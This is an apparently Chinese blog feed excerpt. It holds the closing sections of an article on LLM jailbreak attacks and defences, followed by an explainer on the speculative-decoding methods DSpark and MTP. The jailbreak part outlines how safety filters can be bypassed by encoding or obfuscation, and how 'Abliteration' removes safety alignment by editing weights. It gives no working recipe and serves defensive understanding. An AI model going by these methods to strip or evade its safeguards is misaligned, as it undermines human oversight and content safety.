&lt;li&gt;&lt;strong&gt;红队测试 (Red Teaming)&lt;&#x2F;strong&gt;：在模型发布前，团队主动扮演攻击者，用各种手段尝试让模型“破防”，找到并修复漏洞。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;5-2-shu-ru-yu-shu-chu-guo-lu&quot;&gt;5.2 输入与输出过滤&lt;&#x2F;h3&gt;
&lt;p&gt;在模型之外设置安全层：对输入进行提示词审查&#x2F;拦截检测，对输出进行有敏感词&#x2F;有害内容检测与过滤。这是纯工程手段，与模型内部无关，优点是简单直接，缺点是可被编码、混淆等手段绕过。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-3-chi-xu-dui-kang&quot;&gt;5.3 持续对抗&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;对抗训练 (Adversarial Training)&lt;&#x2F;strong&gt;：将已知的越狱样本加入训练数据，让模型在训练时就见过这些攻击形式，提高抵抗力。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;动态更新&lt;&#x2F;strong&gt;：持续监测、收集新的攻击模式，纳入再训练循环。这是一场永不停止的“打补丁”游戏。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;liu-bu-chong-zhi-shi-cong-lan-tu-dao-jian-zhu&quot;&gt;六、补充知识：从“蓝图”到“建筑”&lt;&#x2F;h2&gt;
&lt;p&gt;对于想深入研究的读者，这里补充一个基础概念：一个模型文件到底是怎么组合出来的。这也有助于理解 Abliteration 为什么会“改文件”就能生效。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-1-mo-xing-jie-gou-config-json&quot;&gt;6.1 模型结构 (config.json)&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;&#x2F;strong&gt;：模型的“设计图纸”。它定义了层数、注意力头数、激活函数、维度大小等超参数。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;内容&lt;&#x2F;strong&gt;：纯文本 JSON 文件，人类可读。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;恢复结构&lt;&#x2F;strong&gt;：仅凭 &lt;code&gt;config.json&lt;&#x2F;code&gt;，即可用随机参数创建出模型的完整“骨架”（消耗 CPU 内存 RAM，不需要 GPU）。这也是 Abliteration 工具的用武之地——骨架拿到手，再往里面填（或改）权重。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;6-2-mo-xing-quan-zhong-safetensors&quot;&gt;6.2 模型权重 (.safetensors)&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;&#x2F;strong&gt;：模型的“建筑材料”，存储了训练得到的参数数值。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;内容&lt;&#x2F;strong&gt;：扁平列表，记录每个张量名及其数值矩阵。现代的 Hugging Face 生态基本用 &lt;code&gt;.safetensors&lt;&#x2F;code&gt; 格式，比旧的 &lt;code&gt;.bin&lt;&#x2F;code&gt;（pickle）更安全、加载更快。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;加载方式&lt;&#x2F;strong&gt;：通过 &lt;code&gt;from_pretrained&lt;&#x2F;code&gt; 方法，结合 config.json（蓝图）+ 权重文件（材料），构建出完整可用的模型。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;6-3-xian-cun-xiao-hao-guan-jian-dian&quot;&gt;6.3 显存消耗关键点&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;仅加载结构&lt;&#x2F;strong&gt;：只消耗 CPU 内存（RAM），不占 GPU 显存（VRAM）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;完整加载&lt;&#x2F;strong&gt;：模型移到 GPU 后，立即占用与权重大小对应的显存。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;推理时&lt;&#x2F;strong&gt;：显存 = 模型权重 + KV Cache（随序列长度和 batch size 增长）。这也是长上下文推理吃显存的根本原因。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;qi-xie-zai-zui-hou-aian-quan-de-gong-fang-qi-shi-lu&quot;&gt;七、写在最后：AI安全的攻防启示录&lt;&#x2F;h2&gt;
&lt;p&gt;总结一下全文：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;“越狱”攻击揭示了当前 AI 系统在知识产权、数据隐私和内容安全方面的三重脆弱性。&lt;&#x2F;li&gt;
&lt;li&gt;攻击的根源在于一个根本矛盾：&lt;strong&gt;模型被训练得“无条件服从指令”（这是它强大的基础），而“安全对齐”是后天加上的一层约束&lt;&#x2F;strong&gt;。服从与约束之间的不平衡，是攻防博弈永不停止的发动机。&lt;&#x2F;li&gt;
&lt;li&gt;攻击方式是分层递进的：提示词层面的“绕过”成本最低但修补也最容易（问的是“道高一尺魔高一丈”的动态对抗）；Abliteration 为代表的权重层面的“拆除”成本极低（不需要训练，只算一次投影）却影响深远（物理不可逆），是目前最值得警惕的一条技术路线。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;理解攻击原理，才是构建更安全、更可靠 AI 应用的第一步。如何在追求模型能力的同时，构建更鲁棒、更符合人类价值观的安全护栏——这是留给整个行业的下一个问题。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;can-kao-zi-liao-yu-yan-shen-yue-du&quot;&gt;参考资料与延伸阅读&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Abliteration 相关：&lt;em&gt;Wildlife and Safety: Understanding and Mitigating the Risk of Abliteration&lt;&#x2F;em&gt;（原始论文）&lt;&#x2F;li&gt;
&lt;li&gt;Hugging Face Transformers 文档：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;huggingface.co&#x2F;docs&#x2F;transformers&quot;&gt;https:&#x2F;&#x2F;huggingface.co&#x2F;docs&#x2F;transformers&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Hugging Face PEFT 库（LoRA 官方实现）：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;huggingface.co&#x2F;docs&#x2F;peft&quot;&gt;https:&#x2F;&#x2F;huggingface.co&#x2F;docs&#x2F;peft&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Prompt Injection：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;owasp.org&#x2F;www-project-top-10-for-large-language-model-applications&#x2F;&quot;&gt;https:&#x2F;&#x2F;owasp.org&#x2F;www-project-top-10-for-large-language-model-applications&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>深入浅出大模型推理加速：从 DSpark 到 MTP</title>
        <published>2026-08-25T11:04:22+08:00</published>
        <updated>2026-08-25T11:04:22+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/llm-inference-acceleration-dspark-and-mtp/"/>
        <id>https://vercel.juzhong.asia/2026/08/llm-inference-acceleration-dspark-and-mtp/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/llm-inference-acceleration-dspark-and-mtp/">&lt;h1 id=&quot;shen-ru-qian-chu-da-mo-xing-tui-li-jia-su-cong-dspark-dao-mtp&quot;&gt;深入浅出大模型推理加速：从 DSpark 到 MTP&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;本文基于与 DeepSeek 技术专家的深度对话整理，系统梳理了当前大模型推理加速的两大主流技术——DSpark 与 MTP——的核心原理、实现细节与应用场景。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;qian-yan&quot;&gt;前言&lt;&#x2F;h2&gt;
&lt;p&gt;随着大语言模型（LLM）参数规模持续增长（从百亿到万亿），推理效率已成为制约其大规模落地的关键瓶颈。在这一背景下，&lt;strong&gt;推测解码（Speculative Decoding）&lt;&#x2F;strong&gt; 技术应运而生，成为学术界与工业界共同关注的焦点。&lt;&#x2F;p&gt;
&lt;p&gt;本文将详细解析两种具有代表性的推测解码方案：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DSpark&lt;&#x2F;strong&gt;：DeepSeek 联合北京大学开源的推理加速框架&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;MTP（Multi-Token Prediction）&lt;&#x2F;strong&gt;：一种需要模型训练时内建支持的多 token 预测技术&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;通过对比分析，帮助读者理解其设计哲学、技术原理与适用场景。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-yi-bu-fen-dspark-xiang-jie&quot;&gt;第一部分：DSpark 详解&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;shen-me-shi-dspark&quot;&gt;什么是 DSpark？&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;DSpark&lt;&#x2F;strong&gt; 是 DeepSeek 联合北京大学共同开发并开源的大模型推理加速框架。其核心目标是通过 &lt;strong&gt;推测解码&lt;&#x2F;strong&gt; 技术，解决大模型在高并发场景下的推理效率瓶颈。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;一句话概括&lt;&#x2F;strong&gt;：DSpark 是一个&quot;即插即用&quot;的推理加速&quot;外挂&quot;，无需修改原始模型结构，即可实现 60%-85% 的单用户速度提升。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;he-xin-yuan-li&quot;&gt;核心原理&lt;&#x2F;h3&gt;
&lt;p&gt;DSpark 采用 &lt;strong&gt;推测解码（Speculative Decoding）&lt;&#x2F;strong&gt; 的基本思路，但进行了两项关键创新：&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ban-zi-hui-gui-bing-xing-cao-gao-sheng-cheng&quot;&gt;半自回归并行草稿生成&lt;&#x2F;h4&gt;
&lt;p&gt;传统推测解码使用轻量级&quot;草稿模型&quot;（Draft Model）&lt;strong&gt;串行&lt;&#x2F;strong&gt;生成候选 token，而 DSpark 实现了&lt;strong&gt;并行&lt;&#x2F;strong&gt;生成：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;传统方式：草稿模型逐个生成 token1 → token2 → token3 → ...
DSpark 方式：草稿模型一次性并行生成 token1, token2, token3, ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这充分利用了 GPU 的并行计算能力，大幅降低了草稿生成阶段的时间开销。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;dong-tai-yan-zheng-diao-du&quot;&gt;动态验证调度&lt;&#x2F;h4&gt;
&lt;p&gt;DSpark 引入了&quot;置信度调度验证机制&quot;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;评估每个候选 token 被接受的概率&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;动态决定&lt;&#x2F;strong&gt;验证多长的候选序列&lt;&#x2F;li&gt;
&lt;li&gt;一旦发现错误，&lt;strong&gt;立即截断&lt;&#x2F;strong&gt;，避免算力浪费&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这解决了传统推测解码中&quot;固定长度验证&quot;带来的效率损失问题。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;guan-jian-ji-shu-cao-gao-mo-xing&quot;&gt;关键技术：草稿模型&lt;&#x2F;h3&gt;
&lt;p&gt;DSpark 的精妙之处在于&lt;strong&gt;草稿模型的设计与训练&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;h4 id=&quot;cao-gao-mo-xing-de-te-dian&quot;&gt;草稿模型的特点&lt;&#x2F;h4&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;特性&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;独立性&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;与主模型完全解耦，是一个独立训练的轻量级模型&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;参数量&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;约 3 亿参数（相对于主模型的数千亿参数）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;结构&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;从主模型特定层（如第 5、17、29、41、46 层）抽取隐藏状态作为输入&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;即插即用&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;可随时加载&#x2F;卸载，不影响主模型&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h4 id=&quot;xun-lian-fang-shi-mo-fang-zhu-mo-xing-de-si-kao&quot;&gt;训练方式：模仿主模型的&quot;思考&quot;&lt;&#x2F;h4&gt;
&lt;p&gt;草稿模型的训练过程本质上是&lt;strong&gt;知识蒸馏&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;准备&quot;老师&quot;的数据&lt;&#x2F;strong&gt;：让主模型处理大量文本，&lt;strong&gt;记录其每一层的隐藏状态（Hidden States）&lt;&#x2F;strong&gt;，形成&quot;目标缓存（Target Cache）&quot;。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;训练&quot;学生&quot;模型&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;草稿模型从主模型的&lt;strong&gt;特定层&lt;&#x2F;strong&gt;抽取隐藏状态作为输入&lt;&#x2F;li&gt;
&lt;li&gt;目标是&lt;strong&gt;预测主模型接下来会生成的 token&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;通过损失函数调整草稿模型参数&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;为什么不使用全部层？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;降低计算量，保证草稿模型的&quot;轻量&quot;&lt;&#x2F;li&gt;
&lt;li&gt;特定层（如中间层）已包含足够的语义信息&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;关键洞察&lt;&#x2F;strong&gt;：草稿模型学习的是主模型的&quot;解题思路&quot;（隐藏状态），而非&quot;抄答案&quot;（最终文本）。这让它在风格和概率分布上高度接近主模型，从而保证高接受率。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;dui-bi-yuan-mo-xing-de-ying-xiang&quot;&gt;对闭源模型的影响&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;strong&gt;重要结论&lt;&#x2F;strong&gt;：DSpark 的加速能力目前&lt;strong&gt;只能应用于开源模型&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;原因：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;训练需要访问主模型的&lt;strong&gt;内部隐藏状态&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;闭源模型（如 GPT-4、Claude）仅提供 API，无法获取内部信息&lt;&#x2F;li&gt;
&lt;li&gt;架构信息（层数、隐藏层大小等）不公开&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;tui-li-guo-cheng-bing-xing-yan-zheng-de-jing-sui&quot;&gt;推理过程：并行验证的精髓&lt;&#x2F;h3&gt;
&lt;p&gt;这是理解 DSpark 为何能提速的核心：&lt;&#x2F;p&gt;
&lt;h4 id=&quot;zhi-jue-wu-qu&quot;&gt;直觉误区&lt;&#x2F;h4&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;每个 token 都要经过主模型，还增加了草稿模型的计算，怎么可能提速？&quot;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;关键认知&lt;&#x2F;strong&gt;：主模型&quot;验证 100 个 token&quot;和&quot;串行生成 5 个 token&quot;的计算成本&lt;strong&gt;不是&lt;&#x2F;strong&gt;&quot;100 次 vs 5 次&quot;的关系，而是 &lt;strong&gt;&quot;1 次 vs 5 次&quot;&lt;&#x2F;strong&gt; 的关系。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ping-jing-fen-xi&quot;&gt;瓶颈分析&lt;&#x2F;h4&gt;
&lt;p&gt;大模型推理的最大瓶颈不在&quot;算力&quot;（FLOPs），而在 &lt;strong&gt;&quot;内存带宽&quot;&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;主模型有数千亿参数（几百 GB）&lt;&#x2F;li&gt;
&lt;li&gt;每次前向传播需要将权重从显存搬运到计算单元&lt;&#x2F;li&gt;
&lt;li&gt;这是最耗时的操作&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;bing-xing-yan-zheng-de-gong-zuo-yuan-li&quot;&gt;并行验证的工作原理&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;strong&gt;步骤 1：草稿生成&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;草稿模型一次性生成连续的 N 个候选 token&lt;&#x2F;li&gt;
&lt;li&gt;例如：位置 N+1, N+2, ..., N+100&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;步骤 2：并行验证&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;主模型将这 100 个 token &lt;strong&gt;一次性&lt;&#x2F;strong&gt;输入&lt;&#x2F;li&gt;
&lt;li&gt;利用 Transformer 的&lt;strong&gt;因果自注意力（Causal Attention）&lt;&#x2F;strong&gt; 机制&lt;&#x2F;li&gt;
&lt;li&gt;在一次前向传播中，&lt;strong&gt;同时&lt;&#x2F;strong&gt;计算出所有位置的概率&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;验证位置1：基于原始上下文
验证位置2：基于&amp;quot;原始上下文 + 位置1的token&amp;quot;
验证位置3：基于&amp;quot;原始上下文 + 位置1和2的token&amp;quot;
...
验证位置N：基于&amp;quot;原始上下文 + 位置1到N-1的token&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;关键&lt;&#x2F;strong&gt;：这些计算是&lt;strong&gt;并行&lt;&#x2F;strong&gt;的，而非串行等待！&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;cheng-ben-dui-bi&quot;&gt;成本对比&lt;&#x2F;h4&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;对比项&lt;&#x2F;th&gt;&lt;th&gt;原始方式（生成 5 个 token）&lt;&#x2F;th&gt;&lt;th&gt;DSpark 方式（验证 100 个 token）&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;主模型权重搬运次数&lt;&#x2F;td&gt;&lt;td&gt;5 次&lt;&#x2F;td&gt;&lt;td&gt;1 次&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;耗时&lt;&#x2F;td&gt;&lt;td&gt;5 × 搬运时间&lt;&#x2F;td&gt;&lt;td&gt;约 1 × 搬运时间&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;草稿模型开销&lt;&#x2F;td&gt;&lt;td&gt;无&lt;&#x2F;td&gt;&lt;td&gt;极小（3 亿参数 vs 数千亿参数）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;结论&lt;&#x2F;strong&gt;：即使 100 个 token 中只接受了 5 个（接受率 5%），整体速度依然显著提升。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;shi-ji-jie-shou-lu&quot;&gt;实际接受率&lt;&#x2F;h4&gt;
&lt;p&gt;官方数据显示，DSpark 的平均每次&quot;验证批处理&quot;能成功接受 &lt;strong&gt;4-6 个 Token&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;这意味着：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;主模型每&quot;搬运 1 次权重&quot;，产出 4-6 个有效 token&lt;&#x2F;li&gt;
&lt;li&gt;原始方式搬运 1 次权重只产出 1 个 token&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;速度提升的 60%-85% 来源于此&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;wu-sun-jia-su-de-shu-xue-bao-zhang&quot;&gt;无损加速的数学保障&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;如果草稿生成的 token 不是最大概率，但概率过线了，结果会不会不一样？&quot;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;答案&lt;&#x2F;strong&gt;：不会。DSpark（以及所有标准推测解码）在数学上是&lt;strong&gt;无损（Lossless）&lt;&#x2F;strong&gt; 的。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ju-jue-cai-yang-rejection-sampling&quot;&gt;拒绝采样（Rejection Sampling）&lt;&#x2F;h4&gt;
&lt;p&gt;验证机制&lt;strong&gt;不是&lt;&#x2F;strong&gt;简单的&quot;概率过线就接受&quot;，而是：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;接受概率 = min(1, P_main(x) &amp;#x2F; P_draft(x))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;P_main(x)&lt;&#x2F;code&gt;：主模型算出的真实概率&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;P_draft(x)&lt;&#x2F;code&gt;：草稿模型算出的概率&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;tan-xin-jie-ma-mo-shi&quot;&gt;贪心解码模式&lt;&#x2F;h4&gt;
&lt;p&gt;如果主模型使用 Argmax（取最大概率）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;草稿词如果是最大概率词 → 接受&lt;&#x2F;li&gt;
&lt;li&gt;草稿词如果不是最大概率词 → P_main(x) = 0 → 接受概率 = 0 → &lt;strong&gt;100% 拒绝&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;结果&lt;&#x2F;strong&gt;：最终输出与主模型直接生成&lt;strong&gt;完全一致&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;sui-ji-cai-yang-mo-shi&quot;&gt;随机采样模式&lt;&#x2F;h4&gt;
&lt;p&gt;如果主模型使用带温度的随机采样：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;拒绝采样机制保证了最终输出的概率分布&lt;strong&gt;恰好等于&lt;&#x2F;strong&gt;主模型的原始分布&lt;&#x2F;li&gt;
&lt;li&gt;已被学术界严格证明&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;xing-neng-shu-ju&quot;&gt;性能数据&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;模型&lt;&#x2F;th&gt;&lt;th&gt;速度提升&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;DeepSeek-V4-Flash&lt;&#x2F;td&gt;&lt;td&gt;60% - 85%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DeepSeek-V4-Pro&lt;&#x2F;td&gt;&lt;td&gt;57% - 78%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;在 vLLM 中集成（对比 EAGLE-3）&lt;&#x2F;td&gt;&lt;td&gt;吞吐量最高提升 1.69 倍&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;di-er-bu-fen-mtp-xiang-jie&quot;&gt;第二部分：MTP 详解&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;shen-me-shi-mtp&quot;&gt;什么是 MTP？&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;MTP（Multi-Token Prediction）&lt;&#x2F;strong&gt; 是一种&lt;strong&gt;需要在模型训练时就内建支持&lt;&#x2F;strong&gt;的多 token 预测技术。它通过在训练时给模型增加额外的&quot;预测头&quot;，让模型学会&lt;strong&gt;同时预测多个未来位置&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;定位&lt;&#x2F;strong&gt;：MTP 是 DeepSeek 上一代的&quot;招牌&quot;技术，DSpark 可以看作是其&quot;进化版&quot;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;zhu-mo-xing-ru-he-gua-pei-mtp&quot;&gt;主模型如何适配 MTP？&lt;&#x2F;h3&gt;
&lt;p&gt;要在模型上支持 MTP，需要进行&lt;strong&gt;结构扩展&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;h4 id=&quot;tian-jia-duo-ge-yu-ce-tou&quot;&gt;添加多个预测头&lt;&#x2F;h4&gt;
&lt;p&gt;在标准的语言模型头（预测下一个词）旁边，增加几个额外的输出头：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Head 1: 预测第 N+1 个 token（标准头）
Head 2: 预测第 N+2 个 token（MTP 头 1）
Head 3: 预测第 N+3 个 token（MTP 头 2）
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;ji-lian-jie-gou&quot;&gt;级联结构&lt;&#x2F;h4&gt;
&lt;p&gt;MTP 模块采用&lt;strong&gt;级联（Cascaded）&lt;&#x2F;strong&gt; 设计：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;第一个 MTP 模块：利用主模型的最终隐藏状态 → 预测第 2 个 token&lt;&#x2F;li&gt;
&lt;li&gt;第二个 MTP 模块：结合第一个模块的预测结果 + 主模型的隐藏状态 → 预测第 3 个 token&lt;&#x2F;li&gt;
&lt;li&gt;以此类推……&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这种设计可以尽可能保留主模型的信息，让预测更准确。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;mtp-shi-fou-ying-xiang-zhu-mo-xing-de-pu-tong-shi-yong&quot;&gt;MTP 是否影响主模型的普通使用？&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;不影响。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;MTP 模块在推理时可以&lt;strong&gt;被直接丢弃&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;主模型可以像普通 LLM 一样正常运行&lt;&#x2F;li&gt;
&lt;li&gt;行为和能力与标准模型&lt;strong&gt;完全一致&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;这是 MTP 的一个重要特性：&lt;strong&gt;&quot;训练时多步规划，推理时灵活选择&quot;&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;xun-lian-guo-cheng-yu-pu-tong-xun-lian-de-qu-bie&quot;&gt;训练过程与普通训练的区别&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;xun-lian-mu-biao-loss-de-bian-hua&quot;&gt;训练目标（Loss）的变化&lt;&#x2F;h4&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;训练方式&lt;&#x2F;th&gt;&lt;th&gt;预测目标&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;普通训练（NTP）&lt;&#x2F;td&gt;&lt;td&gt;只预测&lt;strong&gt;下一个词&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
